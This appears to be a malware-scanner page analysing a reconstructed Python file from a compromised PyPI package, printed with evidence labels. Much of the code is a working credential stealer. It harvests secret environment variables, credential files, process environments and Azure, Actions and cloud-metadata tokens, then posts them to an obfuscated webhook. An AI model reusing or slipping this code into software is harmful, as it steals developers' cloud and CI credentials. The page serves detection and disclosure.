Hostile 100% python Download

reconstructed-1.26.2.py

Exfiltrates credentials to external webhook

Developer credential targets, reads, encoding and uploads co-occurPython reads developer credentials and encodes them to base64
SHA-256ebd8b64e3b02661e60ec8cd0bed66aead139ef7ef99a6814224b82d8de00ad5d

Also flagged by https://feeds.feedburner.com/TheHackersNews (Attackers Compromise Microsoft's Agent Framework PyPI Package to Steal Cloud Credentials).

Evidence

urllib Request carries serialized JSON data lines 1–45
1# Reconstruction from published SafeDep excerpts; not original release bytes.
2import os, glob, json, base64, zlib, urllib.request, urllib.parse
3_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
4
5def _post(tag, data):
6 try:
7 u = base64.b64decode(_ENC).decode()
8 body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
9 req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "runtime-diagnostics/1"})
10 urllib.request.urlopen(req, timeout=25).read()
11 except Exception:
12 pass
13
14def _run():
15 out = {"env": {}, "files": {}, "proc": {}, "ado": {}, "imds": {}, "gh_oidc": {}}
16 out["env"] = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ("TOKEN", "SECRET", "PASSWORD", "KEY", "AZURE", "AWS", "GITHUB", "OPENAI"))}
17 for pattern in ("~/.azure/*.json", "~/.npmrc", "~/.netrc", "~/.git-credentials", "~/.docker/config.json", "~/.config/pip/pip.conf", "~/.cache/huggingface/token", "/vss-agent/*/.credentials", "/app/.env"):
18 for p in glob.glob(os.path.expanduser(pattern))[:60]:
19 try:
20 out["files"][p] = open(p, "rb").read().decode("utf-8", "replace")
21 except Exception:
22 pass
23 for e in glob.glob("/proc/[0-9]*/environ")[:300]:
24 try:
25 raw = open(e, "rb").read().decode("utf-8", "replace")
26 hits = []
27 for kv in raw.split("\x00"):
28 if any(x in kv.upper() for x in ("TOKEN","SECRET","PASSWORD","KEY=","ENDPOINT_AUTH","SYSTEM_ACCESSTOKEN","IDENTITY_HEADER")):
29 hits.append(kv[:2000])
30 out["proc"][e] = hits
31 except Exception:
32 pass
33 at = os.environ.get("SYSTEM_ACCESSTOKEN") or ""
34 oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
35 if oe and at:
36 for suffix, data in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
37 try:
38 req = urllib.request.Request(oe + suffix, data=json.dumps(data).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
39 out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]
40 except Exception:
41 pass
42 for resource in ("https://management.azure.com/", "https://vault.azure.net", "https://graph.microsoft.com/"):
43 try:
44 u = os.environ.get("IDENTITY_ENDPOINT") or os.environ.get("MSI_ENDPOINT") or "http://169.254.169.254/metadata/identity/oauth2/token"
45 req = urllib.request.Request(u + "?api-version=2018-02-01&resource=" + urllib.parse.quote(resource, safe=""), head …
Actions OIDC request credential environment name lines 47–54
47:17… xception:
48 pass
49 try:
50 u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
51 t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
52 if u and t:
53 for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
54 sep = "&" if "? …
Requests a JSON HTTP response lines 56–57
56:23… urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
57 out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().d …
exception suppression via try/except pass lines 58–85
58:19… on:
59 pass
60 _post("telemetry", out)
61
62def _start():
63 if os.environ.get("_AF_TEL"):
64 return
65 os.environ["_AF_TEL"] = "1"
66 try:
67 if hasattr(os, "fork"):
68 pid = os.fork()
69 if pid == 0:
70 try:
71 os.setsid()
72 except Exception:
73 pass
74 _run()
75 os._exit(0)
76 return
77 except Exception:
78 pass
79 try:
80 import threading
81 t = threading.Thread(target=_run)
82 t.daemon = True
83 t.start()
84 except Exception:
85 pass

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.